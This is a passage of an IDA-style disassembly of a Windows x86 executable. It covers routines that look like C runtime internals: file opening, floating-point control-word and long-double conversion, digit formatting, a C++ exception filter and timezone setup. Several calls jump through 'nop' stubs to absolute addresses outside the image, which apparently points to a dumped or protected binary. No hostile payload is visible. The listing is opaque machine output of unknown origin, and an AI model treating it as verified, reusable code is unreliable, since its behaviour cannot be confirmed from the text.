edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_48A018, 0 mov dword_48A014, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2640000h mov esi, eax cmp esi, edi jz short loc_420090 push esi call near ptr 25E0000h nop test eax, eax jnz short loc_4200A4 push esi nop call near ptr 2621906h loc_420090: ; CODE XREF: sub_41FEC6+1B6j nop call near ptr 264030Ch push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_48A018, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF40 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43BF58 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_48A1E8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_48A210, eax add esp, 18h movsx eax, byte_48A1EA mov dword_48A208, eax pop edi movsx eax, word_48A1E8 mov dword_48A20C, eax mov dword_48A214, offset dword_48A1EC mov eax, offset dword_48A208 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:0043B918o ; ___:0043C3E0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_48A218 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_48A218 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 0F7E89000h, 0A30219FCh, 48A218h, 1835FFC3h ; DATA XREF: ___:00426024o dd 0E80048A2h, 219FCE6h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25C0000h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28408B3h test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25B0A7Eh test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_48A2D8, 0 jnz short locret_42094D call sub_42094E inc dword_48A2D8 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_48A220, ebp mov dword_43C018, ebx mov dword_43C008, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_48A228 nop call near ptr 27F0000h cmp eax, ebx jz loc_420BA6 mov eax, dword_48A228 mov ecx, dword_48A27C imul eax, 3Ch cmp word_48A26E, bp push 1 pop edx mov dword_43BF70, eax mov dword_48A220, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43BF70, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_48A2C2, bp jz short loc_4209E9 mov eax, dword_48A2D0 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_43BF74, edx imul eax, 3Ch mov dword_43BF78, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_43BF74, ebp mov dword_43BF78, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_43BFFC push ebx push offset dword_48A22C push edi push dword_48A0B8 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_43BFFC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_43BFFC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43C000 push ebx push offset dword_48A280 push edi push dword_48A0B8 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_43C000 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_48A2D4 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_48A2D4 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_48A2D4, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_43BFFC call sub_418C10 mov eax, off_43BFFC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43BF70, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 